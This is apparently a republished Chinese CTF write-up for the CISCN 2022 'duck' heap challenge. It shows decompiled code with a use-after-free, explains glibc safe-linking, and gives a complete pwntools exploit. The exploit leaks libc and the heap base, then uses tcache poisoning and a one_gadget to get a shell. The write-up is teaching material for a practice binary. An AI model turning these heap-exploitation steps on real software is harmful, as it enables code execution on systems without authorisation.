[CISCN 2022 华东北] duck

news/2024/10/13 14:27:52

[CISCN 2022 华东北] duck

UAF|leak_libc|leak_heap_base|指针加密|unsortedbin|one_gadget

[*] '/home/bamuwe/duck/pwn'Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled

$ checksec ./pwn

/home/ubuntu/glibc/glibc-2.34/build/lib/gconv
/home/ubuntu/glibc/glibc-2.34/build/lib/locale
/home/ubuntu/glibc/glibc-2.34/build/lib/locale/locale-archive
/home/ubuntu/glibc/glibc-2.34/build/share/locale
...

$ strings /home/bamuwe/duck/libc.so.6 |grep glibc

1.Add
2.Del
3.Show
4.Edit
Choice:

$ ./pwn

int del()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = numinput();if ( v1 <= 20 && qword_4060[v1] ){free(qword_4060[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}

del()漏洞函数

没有清除指针,存在uaf

int edit()
{int v1; // [rsp+8h] [rbp-8h]unsigned int v2; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = numinput();if ( v1 <= 20 && qword_4060[v1] ){puts("Size: ");v2 = numinput();if ( v2 > 0x100 ){return puts("Error");}else{puts("Content: ");sub_12AC(qword_4060[v1], v2);puts("Done");return 0;}}else{puts("Not allow");return v1;}
}

edit()

int sub_13F3()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = numinput();if ( v1 <= 20 && qword_4060[v1] ){puts(qword_4060[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}

show()

int add()
{int i; // [rsp+4h] [rbp-Ch]void *v2; // [rsp+8h] [rbp-8h]v2 = malloc(0x100uLL);for ( i = 0; i <= 19; ++i ){if ( !qword_4060[i] ){qword_4060[i] = v2;puts("Done");return 1;}}return puts("Empty!");
}

add()

def add():io.sendlineafter(b'Choice: ',b'1')def free(idx):io.sendlineafter(b'Choice: ',b'2')io.sendlineafter(b'Idx: \n',str(int(idx)))def show(idx):io.sendlineafter(b'Choice: ',b'3')io.sendlineafter(b'Idx: \n',str(int(idx)))def edit(idx,content):io.sendlineafter(b'Choice: ',b'4')io.sendlineafter(b'Idx: \n',str(int(idx)))io.sendlineafter(b'Size: \n',str(int(0x100)))io.send(content)

程序逻辑:

  1. add()会分配一个0x110空间的堆块

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x291Allocated chunk | PREV_INUSE
    Addr: 0x55555555b290
    Size: 0x111Allocated chunk | PREV_INUSE
    Addr: 0x55555555b3a0
    Size: 0x111Allocated chunk | PREV_INUSE
    Addr: 0x55555555b4b0
    Size: 0x111Top chunk | PREV_INUSE
    Addr: 0x55555555b5c0
    Size: 0x20a41
    
  2. edit()能够对堆上数据进行修改

    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 1
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 1
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 4
    Idx:
    0
    Size:
    10
    Content:
    AAAA
    Done
    1.Add
    2.Del
    3.Show
    4.Edit
    Choice: 
    
    0x55555555b290  0x0000000000000000      0x0000000000000111      ................
    0x55555555b2a0  0x0000000a41414141      0x0000000000000000      AAAA............
    0x55555555b2b0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2c0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2d0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2e0  0x0000000000000000      0x0000000000000000      ................
    0x55555555b2f0  0x0000000000000000      0x0000000000000000      ................
    

利用思路:

  1. 先用unsorted_bin泄露libcheap_base

    for i in range(9):add()           #0-7
    for i in range(9):free(i)         #0-7
    #leak_libc
    show(7)
    main_arena_addr = u64(io.recv(6).ljust(8,b'\x00'))-96
    libc_offset = main_arena_addr-lib.sym['main_arena']
    one_addr = 0xda864+libc_offset			#one_gadget
    IO_file_jumps = libc_offset + lib.sym['_IO_file_jumps']
    success(f'main_arena_addr=>{hex(main_arena_addr)}')
    success(f'one_addr=>{hex(one_addr)}')
    success(f'IO_file_jumps=>{hex(IO_file_jumps)}')
    #leak_heap_base
    show(0)
    heap_base_addr = u64(io.recv(5).ljust(8,b'\x00'))
    success(f'heap_base_addr=>{hex(heap_base_addr)}')
    

    获得了libc,heap_base,one_gadget

  2. 利用tcache_bin伪造fake_chunk获得shell

    for i in range(5):add()           #8-13
    edit(1,p64(heap_base_addr^IO_file_jumps))       #对chunk0修改	`指针加密`
    add()               #14
    add()               #15
    edit(15,p64(0)*3+p64(one_addr))
    

    image-20240502224722784

    先控制tcache_bin中剩余两个节点,方便我们操作

    image-20240502224849916

    成功修改为IO_file_jumps地址,这里因为指针加密机制的存在,所以p64(heap_base_addr^IO_file_jumps)

关于指针加密:

glibc2.32之后引入了一个新的指针机制:

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];if (__glibc_unlikely (!aligned_OK (e)))malloc_printerr ("malloc(): unaligned tcache chunk detected");tcache->entries[tc_idx] = REVEAL_PTR (e->next);--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;
}

malloc

引入了一个异或加密,现在要寻找一个地址,需要使用真实地址与heap_base地址进行异或,得到指针,给利用带来了难度,但同时也带来了新的泄露姿势

https://www.anquanke.com/post/id/236186


exp:

#Ubuntu2.34
from pwn import *
context.log_level = 'debug'
io = gdb.debug('./pwn')
# io = remote('node4.anna.nssctf.cn',28254)
elf = ELF('./pwn')
lib = ELF('/home/bamuwe/duck/libc.so.6')
def add():io.sendlineafter(b'Choice: ',b'1')def free(idx):io.sendlineafter(b'Choice: ',b'2')io.sendlineafter(b'Idx: \n',str(int(idx)))def show(idx):io.sendlineafter(b'Choice: ',b'3')io.sendlineafter(b'Idx: \n',str(int(idx)))def edit(idx,content):io.sendlineafter(b'Choice: ',b'4')io.sendlineafter(b'Idx: \n',str(int(idx)))io.sendlineafter(b'Size: \n',str(int(0x100)))io.send(content)for i in range(9):add()           #0-7
for i in range(9):free(i)         #0-7#leak_libc
show(7)
main_arena_addr = u64(io.recv(6).ljust(8,b'\x00'))-96
libc_offset = main_arena_addr-lib.sym['main_arena']
one_addr = 0xda864+libc_offset			#one_gadget
IO_file_jumps = libc_offset + lib.sym['_IO_file_jumps']
success(f'main_arena_addr=>{hex(main_arena_addr)}')
success(f'one_addr=>{hex(one_addr)}')
success(f'IO_file_jumps=>{hex(IO_file_jumps)}')
#leak_heap_base
show(0)
heap_base_addr = u64(io.recv(5).ljust(8,b'\x00'))
success(f'heap_base_addr=>{hex(heap_base_addr)}')for i in range(5):add()           #8-13
edit(1,p64(heap_base_addr^IO_file_jumps))       #对chunk0修改
add()               #14
add()               #15
edit(15,p64(0)*3+p64(one_addr))
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/26972.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

如何同时或者按顺序间隔启动多个程序

首先,需要用到的这个工具:度娘网盘 提取码:qwu2 蓝奏云 提取码:2r1z1、打开工具,切换到定时器模块,快捷键:Ctrl+3 2、新建一个定时器,我这里演示同时打开多个程序(比如同时启动多个QQ,或者多个微信等),那就把单次数量提高,如果想每次执行这个定时器里面的3个事件…

ef core加密存储数据,如身份证号

一、新建项目,安装nuget<PackageReference Include="V6.EntityFrameworkCore.DataEncryption" Version="5.0.0" />二、本示例采用:AES+256bits(Can use a 128bits, 192bits or 256bits key)CipherMode mode = CipherMode.CBC, PaddingMode padding…

如何快速的追加文章的内容(在不知道内容的情况下)

首先,需要用到的这个工具:度娘网盘 提取码:qwu2 蓝奏云 提取码:2r1z 1、打开工具,切换到文章模块下,快捷键:Ctrl+12、新建一个文章做演示,001 3、添加一个内容,就随便写一个 4、保存、关闭 5、在新建的文章上右键,选择追加内容 6、弹出一个窗口,有三种选择,我这里就…

随机森林Adaboosting算法与Python实现(二)

AdaBoost是Freund和Schapire于1996年提出的一种集成学习方法。它的核心思想是通过迭代训练一系列弱分类器,每次调整样本权重以便更好地拟合被前一轮分类器错误分类的样本,从而构建一个强分类器。最终的模型是基于这些弱分类器的加权组合。AdaBoost广泛应用于二分类和多分类问…

随机森林特征重要性评估与Python实现(三)

特征重要性评估(Variable importance measure, or Feature importance evaluation,VIM)用来计算样本特征的重要性,定量地描述特征对分类或者回归的贡献程度。随机森林(Random Forest)作为一种强大的机器学习算法,在特征重要性评估方面具有显著优势。特征重要新评估是随机森…

opencv中自定义的双线性二次插值的图像旋转及缩放

自定义的二次插值的图像旋转与缩放#include <iostream> #include<opencv2/opencv.hpp> using namespace cv; using namespace std;void coordinateTransform(Point2d*p4Corner,Point2d*np4Corner,double rotAngle,double gamma,Point2d center) {double cx=center.…

从0到10Wqps,大厂的智能客服平台,如何实现架构演进?

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…

蚂蚁面试:Springcloud核心组件的底层原理,你知道多少?

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…